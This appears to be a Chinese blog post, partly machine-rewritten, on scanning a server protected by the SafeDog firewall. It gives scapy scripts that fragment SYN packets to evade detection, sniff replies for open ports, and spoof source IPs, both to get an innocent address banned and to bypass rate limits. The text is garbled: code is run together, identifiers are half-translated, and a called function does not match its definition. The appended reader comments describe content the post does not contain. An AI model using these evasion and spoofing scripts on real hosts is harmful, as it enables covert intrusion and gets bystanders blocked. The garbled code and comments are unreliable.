端口扫描实践

过程端口扫描的时候全接连和半连接比较稳定,而安全狗是对接受带有SYN的TCP报文有检测机制,如果在10秒钟内累计200个则会触发防御机制,会封掉该IP。后来想到

大家好,今天来为大家解答端口扫描实践这个问题的一些问题点,包括也一样很多人还不知道,因此呢,今天就来为大家分析分析,现在让我们一起来看看吧!如果解决了您的问题,还望您关注下本站哦,谢谢~

环境:Linux、python2.7

库:scapy(这个库只适合学习,不能在真实环境中使用,太慢了,连无状态端口扫描都受不了)

IP数据包

这只能通过在正在使用的端口上使用碎片来绕过。如何进行分片需要了解IP数据包格式。 IP有一个固定的20字节的报头。碎片化中更值得关注的是:

标识:相同的标识字段值使得每个分片的数据报片段能够正确地重新组装成原始数据报。

标志(Flags):占用3位,但目前只有2位有意义。标志字段中的最低位被记录为MF(更多片段)。 MF=1表示后面还有分片数据报。 MF=0 表示这是几个数据报片段中的最后一个。标志字段中间的位记录为DF(Don’t Fragment),意思是“不能分段”。仅当DF=0 时才允许分片。

片段偏移(Fragment offset):占用13位。较长的数据包分片后,某个分片在原始数据包中的相对位置。换句话说,片段相对于用户数据字段的起始点从哪里开始。分片偏移移位单位为8字节,这意味着每个分片的长度必须是8字节(64位)的整数倍。

其他如校验和和ttl 值将由scapy 本身处理。这里proto=0x06是tcp协议,flags=0x01需要分片,frag=0,1,2分片顺序。

one_part_request=IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=0)two_part_request=IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=1) Three_part_request=IP(dst=dst_ip, ttl=49, flags=0x00, proto=0x06, id=packet_id, frag=2)TCP 消息

在构造TCP消息时,只有校验和的构造稍微麻烦一些。我直接从wireshark上抓取了第一条握手消息。

1. TCP/UDP会在计算中添加一个额外的伪头。伪报头包括:32位源/目的IP地址、8位补零、8位协议号、16位TCP/UDP报文长度(报头+数据)

2. 校验和的两个字段需要设置为0x0000。下面的data3的前两个字节是校验和,已被设置为0。

数据1=’\xb2\x00\x00\x50\xd7\x23\xb8\xa9′ 数据2=’\x00\x00\x00\x00\x50\x02\x04\x00′ 数据3=’\x00\x00\x00\ x00’phdr=伪头(one_part_request.src, one_part_request.dst, socket.IPPROTO_TCP, len(tcp_raw))path_int=校验和(phdr + tcp_raw)path_hex=格式(path_int, ’04x’)print(path_hex)data3=path_hex.decode (‘hex’) + data3[2:] 这样,TCP报文也就构造完成了。

from scapy.all import *def fake_header(ip_src, ip_dst, ip_proto, length): ”’ 根据RFC768 返回伪标头”’ # 准备伪标头的二进制表示return struct.pack(‘!4s4sHH’, inet_aton(ip_src), inet_aton(ip_dst), ip_proto, length)#datadata1=’\xb2\x00\x00\x50\xd7\x23\xb8\xa9’data2=’\x00\x00\x00\x00\x50\x02 \x04\x00’data3=’\x00\x00\x00\x00’dst_ip=’192.168.100.101’packet_id=random.randint(10000, 2**16-1)tcp_raw=data1 + data2 + data3#设置参数ip packetone_part_request=IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=0)two_part_request=IP(dst=dst_ip, ttl=49, flags=0x01, proto=0x06, id=packet_id, frag=1) Three_part_request=IP(dst=dst_ip, ttl=49, flags=0x00, proto=0x06, id=packet_id, frag=2)# 替换data中的校验和3phdr=pseudo_header(one_part_request.src, one_part_request.dst , socket.IPPROTO_TCP, len(tcp_raw))path_int=checksum(phdr + tcp_raw)path_hex=format(path_int, ’04x’)print(path_hex)data3=path_hex.decode(‘hex’) + data3[2:]# sendend(上面比较复杂,因为我对scapy包不熟悉。让我们使用scapy 来构建tcp 包。

端口扫描实践

使用scrapy构建分片

监视器

使用无状态扫描监控网卡的返回包,分析端口是否开放。这里的过滤器使用了tcpdump的语法。

from scapy.all import *iface=’eth0’target_ip=’192.168.100.101’def prn(pkt): print(pkt[IP].src + ‘:’ + str(pkt[IP].sport) + ‘ open’ )def Listen_port(): sniff(iface=iface, filter=’tcp and src host %s and tcp[13:1]=18’%target_ip, prn=prn)listen_port()192.168.100.100 是扫描仪ip,192.168.100.101是目标ip。

当wireshark抓包时,我们可以看到发送了三个IPv4数据包,然后192.168.100.101返回了SYN+ACK消息。

我们的听众还听到:

192.168.100.101:80打开查看消息:由于IP数据包小于60字节,链路层会用0x00填充到60字节。

伪造源ip

发现源IP也可以伪造。因为是在同一个网段,所以可以伪造。安全狗会直接将IP数据包中的IP解析为真实IP。

误封IP

由于伪造IP,可以禁止某个IP访问安装了安全狗的服务器。

from scapy.all import *for i in range(1,1000): send(IP(src=’192.168.100.133′,dst=’192.168.100.101′)/TCP(sport=RandShort(),dport=i), verbose=False) 绕过频率限制

from scapy.all import *import socketip=socket.inet_ntoa(struct.pack(‘I’, random.randint(1,0xffffffff)))for i in range(435,446): send(IP(src=ip,dst=’ 192.168.100.101′)/TCP (sport=RandShort(), dport=i), verbose=False) 伪造源IP时,仍然会返回到本机。当B收到A发来的数据包时,直接进行从A到B的反向MAC替换过程。在反向过程中,每一步都会省略ARP请求NEXT HOP的MAC,因为MAC表已经建立。无需通过IP和子网掩码计算是否在同一网段,并决定是直接发送目的IP还是路由发送。因此,源IP是伪造的,但是仍然可以收到返回报文,安全狗记录的就是那些伪造的IP。

以上是针对同一网段的IP。如果有NAT,源IP和端口就会改变,所以即使伪造访问的是你的真实IP,也不会收到返回报文,因为网关会疯狂发送arp报文。寻找这些假IP,192.168.100.2疯狂告诉这些假源IP

用户评论

端口扫描实践
孤单*无名指

这篇文章总结了端口扫描的基本知识点非常清楚,对初学者友好!我之前了解比较少,看了这篇之后终于明白了如何使用不同的工具来进行扫描和分析结果。太棒了!

    有6位网友表示赞同!

端口扫描实践
经典的对白

端口扫描确实是一项很有用的技术,能帮助我们了解目标系统的开放服务以及潜在的漏洞。这篇文章讲得非常专业,介绍了一些不同类型的扫描工具和技巧,真让人受益匪浅。

    有10位网友表示赞同!

端口扫描实践
苏樱凉

文章写得好,很详细地讲解了端口扫描各个步骤,还包括安全注意事项和伦理方面的问题,让我对这一技术的应用范围和局限性有了更深的认识。

    有13位网友表示赞同!

端口扫描实践
无望的后半生

我就是想知道这篇文章中提到的那些恶意软件攻击是如何利用端口扫描结果的?能不能具体介绍一下,这样才能更好地理解网络安全威胁!

    有7位网友表示赞同!

端口扫描实践
ok绷遮不住我颓废的伤あ

端口扫描虽然实用,但是记得要合法使用哦!滥用这种技术可能会带来严重后果,比如被追究法律责任。我们应该把技术用于保障网络安全,而不是制造伤害。

    有6位网友表示赞同!

端口扫描实践
我要变勇敢℅℅

看了这篇文章之后,我决定学习一些实用的端口扫描工具,比如 Nmap 吧!这样能让我在学习过程中更好地实践理论知识,还能提高我的信息安全分析能力。

    有10位网友表示赞同!

端口扫描实践
﹏櫻之舞﹏

端口扫描这门技术虽然很重要,但是它本身并没有什么特别的意义,它只是为了更深入地了解目标系统而已。只有结合其他安全工具和策略才能有效保护我们的网络安全。

    有6位网友表示赞同!

端口扫描实践
念安я

作者似乎偏重于介绍进攻性的端口扫描技巧,一点没有提到防御方面的知识,比如如何识别并阻止端口扫描攻击?这些内容对我来说更加实用!

    有15位网友表示赞同!

端口扫描实践
莫失莫忘

说实话,这篇文章的深度不够,只停留在入门级的讲解,对于有一定经验的人来说并没有什么新意。我希望作者能提供更深入的内容,例如分析高级端口扫描技术的原理和应对策略。

    有12位网友表示赞同!

端口扫描实践
哽咽

学习了一点小技巧,比如如何利用特定选项隐藏端口扫描活动。不过还需要多多练习才能熟练使用这些工具!

    有8位网友表示赞同!

端口扫描实践
泪湿青衫

我更倾向于使用自动化工具来进行端口扫描,这样能节省很多时间和精力,也能获得更全面和准确的结果。人工操作太耗时了!

    有18位网友表示赞同!

端口扫描实践
ー半忧伤

端口扫描的原理很简单,就是模拟用户访问的行为来检查目标系统开放的服务及漏洞。但这篇文章写的有点枯燥乏味,缺乏生动的案例和图片展示。

    有13位网友表示赞同!

端口扫描实践
玩味

文章的内容比较实用,总结了许多常见端口扫描工具的特点和用法,也分析了一些潜在的风险和注意事项。对于想要学习网络安全的同学来说是个不错的入门指南。

    有16位网友表示赞同!

端口扫描实践
一尾流莺

我同意作者观点,安全防护也是一个不断提升的过程,需要不断学习新的技术和方法来应对威胁。例如,学习如何强化防火墙规则、配置入侵检测系统等等!

    有14位网友表示赞同!

端口扫描实践
艺菲

我觉得这篇文章最有意思的部分是探讨端口扫描的伦理问题,因为网络安全的核心应该是保障人利益,而不是利用科技手段进行攻击。

    有19位网友表示赞同!

端口扫描实践
苍白的笑〃

这篇文章对端口扫描的原理和应用场景解释得非常清楚,但缺少一些实战案例,比如如何利用端口扫描信息来发现安全漏洞并加以修复?

    有17位网友表示赞同!

端口扫描实践
别留遗憾

端口扫描可以帮助我们了解目标系统的软硬件配置信息以及所使用的操作系统,这些信息对于进行黑客攻击或破解系统也非常有用。需要注意的是,这应该是以学习和研究目的使用的!

    有6位网友表示赞同!

原创文章,作者:小su,如若转载,请注明出处:https://www.sudun.com/ask/123809.html

(0)
小su's avatar小su
上一篇 2024年9月1日 下午5:49
下一篇 2024年9月1日 下午5:51

相关推荐

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注